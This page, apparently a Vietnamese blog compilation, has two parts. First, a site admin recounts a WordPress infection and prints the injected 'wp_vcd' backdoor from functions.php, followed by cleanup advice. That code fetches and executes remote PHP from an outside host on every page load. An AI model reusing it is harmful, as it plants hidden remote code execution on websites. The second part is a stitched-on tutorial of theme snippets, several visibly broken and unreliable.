File functions php wordpress ở đâu

Thay mặt những người quản trị website Tìm ở đây xin lỗi các bạn đọc nếu trong thời gian vừa rồi các bạn khi truy cập website timoday.edu.vn bị gặp vấn đề khi mở một bài viết trên website này thì bị bật ra một link tới một trang khác.

Mình chia sẻ bài viết này để những bạn đang quản trị website sử dụng WordPress nếu gặp vấn đề này giống mình thì biết cách sửa lỗi, ngoài ra nếu chưa gặp thì biết cách phòng tránh bị cài mã độc vào website của chính mình.

Vấn đề gặp phải của website timoday.edu.vn đợt vừa rồi là khi mở trên máy cá nhân của mình thì không vấn đề gì, nhưng khi mở trên máy tính khác thì phát hiện ra cứ kích vào một bài viết nào đó nó tự động mở ra một liên kết khác. Ban đầu mình nghĩ do máy tính đó bị cài Malware nên không quan tâm, sau đó mình truy cập từ SmartPhone thì thấy vấn đề tương tự.
Sau quá trình rà soát phiên bản trên máy chủ và phiên bản trên local (thực hiện compare hai phiên bản) thì thấy code trên server bị chèn thêm đoàn code này ở file function.php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxxx')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code6\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } if ( ! function_exists( 'swps_stemps_ssetups' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.dolsh.com/code6.php?i=".$path)) { function swps_stemps_ssetups($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "swps_stemps_ssetups"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(swps_stemps_ssetups($tmpcontent)); } } } ? Mình cũng đã thử sử dụng các plugin tìm mã độc cài trên WordPress như 6Scan Security, Wordfence Security,Antivirus … nhưng cũng không ăn thua. Mình cũng đã nhờ sự hỗ trợ của nhà cung cấp dịch vụ hosting (vì mình nghĩ do hosting bị dính virus) nhưng họ cũng bó tay. Mình thử Copy đè hẳn file functions.php trên server nhưng lập tức lại bị đè đoạn code trên, xoá cả theme đi copy theme khác cũng bị tương tự. Cuối cùng tìm kiếm trên mạng cũng có giải pháp sử lý triệt để:

  • Khôi phục lại core WordPress
  • Xoá các file wp.class.php và wp-cd.php trong wp-includes
  • Và sau cùng xoá đoạn code bị chèn thêm vào trong file functions.php trong theme của bạn

Cách phòng trách

  • Không cài các theme và các plugin không rõ nguồn gốc (nên tải từ site chính thức wordpress.org và xem đánh giá của người sử dụng)
  • Tránh cài plugin wootabs.zip từ wplocker.com

Các bạn có thể xem thêm ở đây

File functions php wordpress ở đâu

File functions.php trong WordPress như là một tập tin thực thi một số hàm đặc biệt thêm vào theme để có thể thêm nhiều tính năng hơn. Từ các bước cơ bản như tạo sidebar, menu, thêm size ảnh cho đến các bước phức tạp khác, bạn phải làm trong file functions.php mà không thể làm ở một file nào khác, nếu có thì cũng phải include vào.

File functions php wordpress ở đâu

Để cho bạn có thể hiểu rõ hơn về file functions.php, trong bài viết này iZdesigner sẽ giới thiệu cho các bạn một số đoạn code thông dụng chèn vào file functions.php để thêm tính năng cho theme.

Cách chèn code vào file functions.php

Để có thể sửa được file này, bạn có thể vào host bằng FTP rồi vào thư mục của theme để mở file functions.php

File functions php wordpress ở đâu


Hoặc cách nhanh gọn hơn là vào Appearance -> Editor và tìm file functions.php

File functions php wordpress ở đâu


Lưu ý: File functions.php trong Thesis 2 được thay thế bằng custom.php trong thư mục skin

Trong file functions.php này sẽ không bao giờ có thẻ đóng ?> ở cuối, vì vậy tốt nhất bạn nên chèn code vào cuối file. Trường hợp cá biệt có thêm ?> ở cuối thì chèn code bên trên thẻ đó.

Lưu ý: Nên backup file functions.php trước khi chèn thêm code.

Chế độ bảo trì nhanh


Khi bạn muốn tạm ngừng trang web của bạn lại để bảo dưỡng, có rất nhiều plugin WordPress giúp bạn thực hiện công việc này. Tuy nhiên, không cần sử dụng plugin bạn cũng có thể làm được việc này bằng cách thêm đoạn code dưới đây vào file functions.php:

1

2

3

4

5

6

7

8

function bbit_che_do_bao_tri()

{

     if ( !current_user_can( 'edit_themes' ) || !is_user_logged_in() )

     {

          wp_die('Trang web tạm thời đang được bảo trì. Xin vui lòng quay trở lại sau.');

     }

}

add_action('get_header', 'bbit_che_do_bao_tri');


(chế độ bảo dưỡng sẽ không hiển thị cho người dùng là quản trị viên (admin) hoặc những người dùng đang đăng nhập)

Chống spam link comment


Để tránh bị spam liên kết trong phản hồi, bạn chỉ cần vô hiệu hóa chức năng autolink của WordPress bằng cách thêm dòng code dưới đây vào file functions.php:

1

remove_filter('comment_text', 'make_clickable', 9);


Thêm hình thu nhỏ vào trong RSS feed cho mỗi bài viết Nếu bạn muốn hiển thị hình ảnh thu nhỏ cho mỗi bài viết trong RSS Feed của bạn thì thêm đoạn code dưới đây vào file functions.php:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

function bbit_them_hinh_thu_nho_trong_rss($content)

{

     global $post;

     if(has_post_thumbnail($post->ID))

     {

          $content = '

          ' . get_the_post_thumbnail($post->ID) .

          '

          ' . get_the_content();

     }

     return $content;

}

add_filter('the_excerpt_rss', 'bbit_them_hinh_thu_nho_trong_rss');

add_filter('the_content_feed', 'bbit_them_hinh_thu_nho_trong_rss');


Tự động thay thế chữ trong các bài viết của bạn Nếu bạn muốn thay đổi 1 từ hoặc 1 cụm từ nào đó trong bài viết của bạn, thay vì phải mở từng bài viết ra xem, tìm kiếm và thay thế thì bạn chỉ cần thêm đoạn code dưới đây vào file functions.php:

1

2

3

4

5

6

7

8

9

10

11

12

function bbit_thay_the_tu($text)

{

     $replace = array(

          'bbit' => 'bbit',

          'blog' => 'youblog'

     );

     $text = str_replace(array_keys($replace), $replace, $text);

     return $text;

}

add_filter('the_content', 'bbit_thay_the_tu');

add_filter('the_excerpt', 'bbit_thay_the_tu');


Hiển thị tin nhắn khẩn cấp trong Bảng thông tin (Dashboard) của WordPress Nếu bạn muốn hiển thị một tin nhắn khẩn cấp nào đó cho người dùng trong Bảng thông tin thì thêm đoạn code dưới đây vào file functions.php:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

function bbit_hien_thi_tin_nhan($message, $errormsg = false)

{

     if ($errormsg)

     {

     echo '

';

     }

     else

     {

          echo '

';

     }

     echo '

$message

';

}

function bbit_khoi_tao_tin_nhan()

{

     bbit_hien_thi_tin_nhan('Nội dung tin nhắn.', true);

     if (user_can('manage_options')

     {

          bbit_hien_thi_tin_nhan('Hello admins!');

     }

}

add_action('admin_notices', 'bbit_khoi_tao_tin_nhan');


Xóa tự động nén ảnh
Mặc định, WordPress nén các ảnh .jpg của bạn khi bạn tải chúng lên trang web của bạn. Việc làm này là hữu dụng vì giúp tiết kiệm băng thông và thời gian tải trang nhưng đôi lúc bạn lại muốn hiển thị hình ảnh với chất lượng gốc (đặc biệt là các nhiếp ảnh gia sử dụng WordPress để trưng bày các tác phẩm) thì bạn thêm dòng code dưới đây vào file functions.php để xóa bỏ chức năng tự động nén ảnh:

1

add_filter('jpeg_quality', function($arg){return 100;});


Thêm target=”_blank” vào tất cả các liên kết trong trang web Nếu bạn muốn bạn đọc của mình khi nhấp chuột vào 1 link nào đó, trình duyệt sẽ mở link đó trong 1 trang tab mới thì thêm đoạn code dưới đây vào file functions.php:

1

2

3

4

5

function bbit_tu_dong_target_blank($text)

{

     $return = str_replace('

}

add_filter('the_content', 'bbit_tu_dong_target_blank');


Thêm rel=”nofollow” cho tất cả link trong bài viết
Việc thêm rel=”nofollow” cho tất cả link trong bài viết có thể giúp cải thiện SEO cho blog của bạn. Việc này tương tự với thủ thuật bên trên.

1

2

3

4

5

function bbit_tu_dong_rel($text)

{

     $return = str_replace('

}

add_filter('the_content', 'bbit_tu_dong_rel');


Thêm trường thông tin liên lạc vào trong hồ sơ cá nhân của người dùng Mặc định WordPress cho phép người dùng thêm AIM vào trong hồ sơ cá nhân của họ, tuy nhiên lại không hỗ trợ Facebook hay Twitter. Để thêm trường thông tin liên lạc vào trong hồ sơ cá nhân của người dùng, bạn thêm đoạn code dưới đây vào file functions.php:

1

2

3

4

5

6

7

function bbit_them_thong_tin_lien_he($user_contactmethods)

{

     $user_contactmethods['twitter'] = 'Twitter Username';

     $user_contactmethods['facebook'] = 'Facebook Username';

     return $user_contactmethods;

}

add_filter('user_contactmethods', 'bbit_them_thong_tin_lien_he');


(đoạn code này giúp thêm 2 trường thông tin Facebook và Twitter)

Giới hạn kí tự cho bài viết hiển thị

1

2

3

4

5

6

7

8

9

10

11

12

function string_limit_words($string, $word_limit)

{

     $words = explode(' ', $string, ($word_limit + 1));

     if(count($words) > $word_limit)

     {

          array_pop($words);

     }

     return implode(' ', $words);

}


Sau đó ta sẽ gọi phần giới hạn này ra bằng … với 20 là số kí tự hiển thị và lưu ý rằng đoạn mã phải nằm trong vòng lặp. Bởi các đoạn mã còn khá là nhiều và dài nên iZdesigner sẽ để dành cho phần 2. Mời các bạn tiếp tục theo dõi.

Trọng Đại - iZdesigner.com